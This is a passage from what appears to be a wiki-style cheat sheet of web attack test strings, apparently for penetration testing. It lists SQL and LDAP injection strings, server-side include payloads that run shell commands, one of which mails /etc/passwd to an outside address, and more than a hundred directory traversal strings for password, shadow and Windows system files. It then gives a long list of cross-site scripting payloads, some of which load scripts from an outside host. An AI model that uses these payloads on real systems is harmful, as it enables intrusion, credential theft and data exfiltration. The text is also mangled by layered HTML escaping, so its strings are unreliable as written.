&amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; 